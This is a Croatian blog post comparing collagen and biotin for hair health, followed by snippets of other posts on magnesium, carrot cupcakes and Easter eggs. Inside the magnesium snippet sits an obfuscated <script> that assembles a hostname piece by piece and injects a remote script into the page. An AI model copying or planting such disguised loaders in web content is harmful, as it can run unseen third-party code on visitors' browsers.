KOLAGEN ILI BIOTIN - ŠTO JE BOLJE ZA RAST SJAJNIJE I JAČE KOSE?





Kolagen ili biotin - što je bolje za rast sjajnije i jače kose?




Na policama ljekarni i drogerija posebno se ističu dva sastojka koja se često povezuju sa zdravljem kose: kolagen i biotin. O njima se mnogo govori na društvenim mrežama, preporučuju ih influenceri i nalaze se u brojnim preparatima za ljepotu, no pitanje koje mnogi postavljaju glasi: koji od njih zapravo daje bolje rezultate?





Što je biotin?

Biotin, poznat i kao vitamin B7, jedan je od vitamina B skupine koji sudjeluje u metabolizmu masti, ugljikohidrata i proteina. Budući da je keratin, osnovni građevni protein kose, povezan s procesima u kojima biotin sudjeluje, ovaj vitamin često se povezuje sa zdravljem kose i noktiju.

Kod osoba koje imaju manjak biotina mogu se javiti simptomi poput stanjivanja kose, povećanog ispadanja i lomljivih noktiju. U takvim slučajevima nadoknada vitamina može pomoći u poboljšanju stanja.




Kako djeluje kolagen?

Kolagen je najzastupljeniji protein u ljudskom tijelu i važan je za strukturu kože, kostiju, zglobova i vezivnog tkiva. 

Iako kosa nije građena od kolagena, ovaj protein sadrži aminokiseline koje organizam koristi za stvaranje keratina. Osim toga, kolagen može pridonijeti zdravlju kože vlasišta, što neizravno može utjecati na kvalitetu i izgled kose.




Što je bolji izbor?

Ako govorimo isključivo o rastu kose, stručnjaci uglavnom smatraju da biotin može imati veću ulogu kod osoba koje imaju njegov manjak. U takvim slučajevima nadoknada vitamina može pomoći u smanjenju ispadanja i poboljšanju kvalitete kose.

S druge strane, kolagen se češće povezuje s općim zdravljem kože i vezivnog tkiva te može biti koristan kao dio šire rutine usmjerene na očuvanje mladolikog izgleda.




Što je još važnije od dodataka prehrani?

Stručnjaci naglašavaju da zdrava kosa prvenstveno ovisi o uravnoteženoj prehrani.




Pripremila: Ivana Matas 


Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

CUPCAKES S MRKVOM I KREMOM OD SIRA 🥕

Slika
Cupcakes s mrkvom i kremom od sira  Cupcakes s mrkvom - mekani, sočni i prekriveni bogatom kremom od sira za savršen završetak. Idealni su za svaku priliku, od obiteljskih okupljanja do blagdanskih užitaka. Cupcakes s mrkvom i kremom od sira  Sastojci:  180 ml ulja 190 g smeđeg šećera 1 ½ čajne žličice vanilin šećera 2 jaja 180 g mrkve, oguljene, naribane i sitno sjeckane 160 g brašna 1 čajna žličica praška za pecivo ½ čajne žličice sode bikarbone 1 ¼ čajne žličice mljevenog cimeta ¼ čajne žličice mljevenog đumbira ¾ čajne žličice soli Za kremu od sira 140 g krem sira (omekšalog) 75 g maslaca (slanog, omekšalog) 250 g šećera u prahu 1 čajna žličica vanilin šećera Priprema: Zagrijte pećnicu na 175 stupnjeva. Pripremite lim za muffine s 12 kalupa i lagano ga namastite. Naribajte mrkve i dodatno ih nasjeckajte. U velikoj zdjeli pjenasto umutite ulje, smeđi šećer, jaja i vanilu dok se sve dobro ne poveže. Dodajte pripremljenu mrkvu, a potom lagano pomiješajte...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više